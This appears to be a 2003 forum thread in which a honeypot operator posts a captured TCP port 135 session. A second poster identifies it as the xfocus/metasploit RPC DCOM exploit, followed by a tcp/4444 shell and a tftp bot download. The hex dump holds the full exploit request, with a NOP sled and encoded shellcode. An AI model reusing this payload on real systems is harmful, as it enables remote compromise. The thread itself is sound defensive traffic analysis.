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Link Logger
Premium,MVM
join:2001-03-29
Calgary, AB
kudos:3

New Capture on TCP port 135

Checking one of the honeypots tonight I noticed a very different scan on TCP port 135 and was wondering if anyone else has seen anything like it? The first scan is the standard metasploit/xfocus signature ( »www.linklogger.com/RPC_DCOM.htm ) but the second part of this is very different.

Blake

TCP Connection Request
--- 8/10/03 18:38:27.580

65.33.159.235 : 1040 TCP Connected ID = 6
--- 8/10/03 18:38:27.690
Status Code: 0 OK

65.33.159.235 : 1040 TCP Data In
--- 8/10/03 18:38:29.390
0000 05 00 0B 03 10 00 00 00 48 00 00 00 7F 00 00 00 ........H......
0010 D0 16 D0 16 00 00 00 00 01 00 00 00 01 00 01 00 ................
0020 A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 ...............F
0030 00 00 00 00 04 5D 88 8A EB 1C C9 11 9F E8 08 00 .....]..........
0040 2B 10 48 60 02 00 00 00 +.H`....

65.33.159.235 : 1040 TCP Data In
--- 8/10/03 18:38:29.720
0000 05 00 00 03 10 00 00 00 A8 06 00 00 E5 00 00 00 ................
0010 90 06 00 00 01 00 04 00 05 00 06 00 01 00 00 00 ................
0020 00 00 00 00 32 24 58 FD CC 45 64 49 B0 70 DD AE ....2$X..EdI.p..
0030 74 2C 96 D2 60 5E 0D 00 01 00 00 00 00 00 00 00 t,..`^..........
0040 70 5E 0D 00 02 00 00 00 7C 5E 0D 00 00 00 00 00 p^......|^......
0050 10 00 00 00 80 96 F1 F1 2A 4D CE 11 A6 6A 00 20 ........*M...j.
0060 AF 6E 72 F4 0C 00 00 00 4D 41 52 42 01 00 00 00 .nr.....MARB....
0070 00 00 00 00 0D F0 AD BA 00 00 00 00 A8 F4 0B 00 ................
0080 20 06 00 00 20 06 00 00 4D 45 4F 57 04 00 00 00 ... ...MEOW....
0090 A2 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 ...............F
00A0 38 03 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 8..............F
00B0 00 00 00 00 F0 05 00 00 E8 05 00 00 00 00 00 00 ................
00C0 01 10 08 00 CC CC CC CC C8 00 00 00 4D 45 4F 57 ............MEOW
00D0 E8 05 00 00 D8 00 00 00 00 00 00 00 02 00 00 00 ................
00E0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00F0 00 00 00 00 C4 28 CD 00 64 29 CD 00 00 00 00 00 .....(..d)......
0100 07 00 00 00 B9 01 00 00 00 00 00 00 C0 00 00 00 ................
0110 00 00 00 46 AB 01 00 00 00 00 00 00 C0 00 00 00 ...F............
0120 00 00 00 46 A5 01 00 00 00 00 00 00 C0 00 00 00 ...F............
0130 00 00 00 46 A6 01 00 00 00 00 00 00 C0 00 00 00 ...F............
0140 00 00 00 46 A4 01 00 00 00 00 00 00 C0 00 00 00 ...F............
0150 00 00 00 46 AD 01 00 00 00 00 00 00 C0 00 00 00 ...F............
0160 00 00 00 46 AA 01 00 00 00 00 00 00 C0 00 00 00 ...F............
0170 00 00 00 46 07 00 00 00 60 00 00 00 58 00 00 00 ...F....`...X...
0180 90 00 00 00 40 00 00 00 20 00 00 00 38 03 00 00 ....@... ...8...
0190 30 00 00 00 01 00 00 00 01 10 08 00 CC CC CC CC 0...............
01A0 50 00 00 00 4F B6 88 20 FF FF FF FF 00 00 00 00 P...O.. ........
01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01F0 00 00 00 00 00 00 00 00 01 10 08 00 CC CC CC CC ................
0200 48 00 00 00 07 00 66 00 06 09 02 00 00 00 00 00 H.....f.........
0210 C0 00 00 00 00 00 00 46 10 00 00 00 00 00 00 00 .......F........
0220 00 00 00 00 01 00 00 00 00 00 00 00 78 19 0C 00 ............x...
0230 58 00 00 00 05 00 06 00 01 00 00 00 70 D8 98 93 X...........p...
0240 98 4F D2 11 A9 3D BE 57 B2 00 00 00 32 00 31 00 .O...=.W....2.1.
0250 01 10 08 00 CC CC CC CC 80 00 00 00 0D F0 AD BA ................
0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0270 18 43 14 00 00 00 00 00 60 00 00 00 60 00 00 00 .C......`...`...
0280 4D 45 4F 57 04 00 00 00 C0 01 00 00 00 00 00 00 MEOW............
0290 C0 00 00 00 00 00 00 46 3B 03 00 00 00 00 00 00 .......F;.......
02A0 C0 00 00 00 00 00 00 46 00 00 00 00 30 00 00 00 .......F....0...
02B0 01 00 01 00 81 C5 17 03 80 0E E9 4A 99 99 F1 8A ...........J....
02C0 50 6F 7A 85 02 00 00 00 00 00 00 00 00 00 00 00 Poz.............
02D0 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ................
02E0 01 10 08 00 CC CC CC CC 30 00 00 00 78 00 6E 00 ........0...x.n.
02F0 00 00 00 00 D8 DA 0D 00 00 00 00 00 00 00 00 00 ................
0300 20 2F 0C 00 00 00 00 00 00 00 00 00 03 00 00 00 /..............
0310 00 00 00 00 03 00 00 00 46 00 58 00 00 00 00 00 ........F.X.....
0320 01 10 08 00 CC CC CC CC 10 00 00 00 30 00 2E 00 ............0...
0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0340 01 10 08 00 CC CC CC CC 68 00 00 00 0E 00 FF FF ........h.......
0350 68 8B 0B 00 02 00 00 00 00 00 00 00 00 00 00 00 h...............
0360 86 01 00 00 00 00 00 00 86 01 00 00 5C 00 5C 00 ............\.\.
0370 46 00 58 00 4E 00 42 00 46 00 58 00 46 00 58 00 F.X.N.B.F.X.F.X.
0380 4E 00 42 00 46 00 58 00 46 00 58 00 46 00 58 00 N.B.F.X.F.X.F.X.
0390 46 00 58 00 9D 13 00 01 CC E0 FD 7F CC E0 FD 7F F.X...........
03A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0400 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0410 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0420 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0430 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0440 90 90 90 90 90 90 90 EB 19 5E 31 C9 81 E9 89 FF .........^1.....
0450 FF FF 81 36 80 BF 32 94 81 EE FC FF FF FF E2 F2 ...6..2.........
0460 EB 05 E8 E2 FF FF FF 03 53 06 1F 74 57 75 95 80 ........S..tWu..
0470 BF BB 92 7F 89 5A 1A CE B1 DE 7C E1 BE 32 94 09 ....Z....|..2..
0480 F9 3A 6B B6 D7 9F 4D 85 71 DA C6 81 BF 32 1D C6 .:k...M.q....2..
0490 B3 5A F8 EC BF 32 FC B3 8D 1C F0 E8 C8 41 A6 DF .Z...2.......A..
04A0 EB CD C2 88 36 74 90 7F 89 5A E6 7E 0C 24 7C AD ....6t..Z.~.$|.
04B0 BE 32 94 09 F9 22 6B B6 D7 4C 4C 62 CC DA 8A 81 .2..."k..LLb....
04C0 BF 32 1D C6 AB CD E2 84 D7 F9 79 7C 84 DA 9A 81 .2........y|....
04D0 BF 32 1D C6 A7 CD E2 84 D7 EB 9D 75 12 DA 6A 80 .2.........u..j.
04E0 BF 32 1D C6 A3 CD E2 84 D7 96 8E F0 78 DA 7A 80 .2..........x.z.
04F0 BF 32 1D C6 9F CD E2 84 D7 96 39 AE 56 DA 4A 80 .2........9.V.J.
0500 BF 32 1D C6 9B CD E2 84 D7 D7 DD 06 F6 DA 5A 80 .2............Z.
0510 BF 32 1D C6 97 CD E2 84 D7 D5 ED 46 C6 DA 2A 80 .2.........F..*.
0520 BF 32 1D C6 93 01 6B 01 53 A2 95 80 BF 66 FC 81 .2....k.S....f..
0530 BE 32 94 7F E9 2A C4 D0 EF 62 D4 D0 FF 62 6B D6 .2..*...b...bk.
0540 A3 B9 4C D7 E8 5A 96 80 AE 6E 1F 4C D5 24 C5 D3 ..L..Z...n.L.$..
0550 40 64 B4 D7 EC CD C2 A4 E8 63 C7 7F E9 1A 1F 50 @d.......c....P
0560 D7 57 EC E5 BF 5A F7 ED DB 1C 1D E6 8F B1 78 D4 .W...Z........x.
0570 32 0E B0 B3 7F 01 5D 03 7E 27 3F 62 42 F4 D0 A4 2....].~'?bB...
0580 AF 76 6A C4 9B 0F 1D D4 9B 7A 1D D4 9B 7E 1D D4 .vj......z...~..
0590 9B 62 19 C4 9B 22 C0 D0 EE 63 C5 EA BE 63 C5 7F .b..."...c...c.
05A0 C9 02 C5 7F E9 22 1F 4C D5 CD 6B B1 40 64 98 0B ....".L..k.@d..
05B0 77 65 6B D6 93 CD C2 94 EA 64 F0 21 8F 32 94 80 wek......d.!.2..
05C0 3A F2 EC 8C 34 72 98 0B CF 2E 39 0B D7 3A 7F 89 :...4r....9..:.
05D0 34 72 A0 0B 17 8A 94 80 BF B9 51 DE E2 F0 90 80 4r........Q.....
05E0 EC 67 C2 D7 34 5E B0 98 34 77 A8 0B EB 37 EC 83 .g..4^..4w...7..
05F0 6A B9 DE 98 34 68 B4 83 62 D1 A6 C9 34 06 1F 83 j...4h..b...4...
0600 4A 01 6B 7C 8C F2 38 BA 7B 46 93 41 70 3F 97 78 J.k|..8.{F.Ap?.x
0610 54 C0 AF FC 9B 26 E1 61 34 68 B0 83 62 54 1F 8C T....&.a4h..bT..
0620 F4 B9 CE 9C BC EF 1F 84 34 31 51 6B BD 01 54 0B ........41Qk..T.
0630 6A 6D CA DD E4 F0 90 80 2F A2 04 00 5C 00 43 00 jm....../...\.C.
0640 24 00 5C 00 31 00 32 00 33 00 34 00 35 00 36 00 $.\.1.2.3.4.5.6.
0650 31 00 31 00 31 00 31 00 31 00 31 00 31 00 31 00 1.1.1.1.1.1.1.1.
0660 31 00 31 00 31 00 31 00 31 00 31 00 31 00 2E 00 1.1.1.1.1.1.1...
0670 64 00 6F 00 63 00 00 00 01 10 08 00 CC CC CC CC d.o.c...........
0680 20 00 00 00 30 00 2D 00 00 00 00 00 88 2A 0C 00 ...0.-......*..
0690 02 00 00 00 01 00 00 00 28 8C 0C 00 01 00 00 00 ........(.......
06A0 07 00 00 00 00 00 00 00 ........

65.33.159.235 : 1040 TCP Disconnected ID = 6
--- 8/10/03 18:38:33.400
Status Code: 0 OK
--
»www.SonicLogger.com - Logging Software for SonicWall and 3Comhttp://www.LinkLogger.com - Logging Software for Linksys, Netgear and Zyxel

psloss
Premium
join:2002-02-24
said by Link Logger:
Checking one of the honeypots tonight I noticed a very different scan on TCP port 135 and was wondering if anyone else has seen anything like it? The first scan is the standard metasploit/xfocus signature ( »www.linklogger.com/RPC_DCOM.htm ) but the second part of this is very different.
Well, actually, no -- it's just the rest of the xfocus/metasploit code. The code sends the bind packet, eats a reply (without sanity checking it), and then sends a request packet with exploit code (1704 bytes). I'm seeing a handful of these incidents now, followed by the rshell connect on tcp/4444, which is what that proof of concept code used.

Apparently these packages are still depending on tftp, which will keep the propagation down, since it's UDP based. The other "conventional" thing is that this little burst of traffic here is using the break-in like a downloader -- so it sends a command to tftp the file from central server. That will also flood that system and limit propagation, especially given using a UDP-based protocol.

All the activity I'm seeing continues to be infecting systems with bots...still no worm.

Philip Sloss
--
Feedback? e-mail: stuff@lupwa.org


Link Logger
Premium,MVM
join:2001-03-29
Calgary, AB
kudos:3
While I have seen the first part of the xfocus/metasploit a number of times, this is the first time I've seen the second part, which makes me wonder then what has changed such that I would see the second part on this scan only. I have had a number of xfocus/metasploit scans since and only seen the first part.

Blake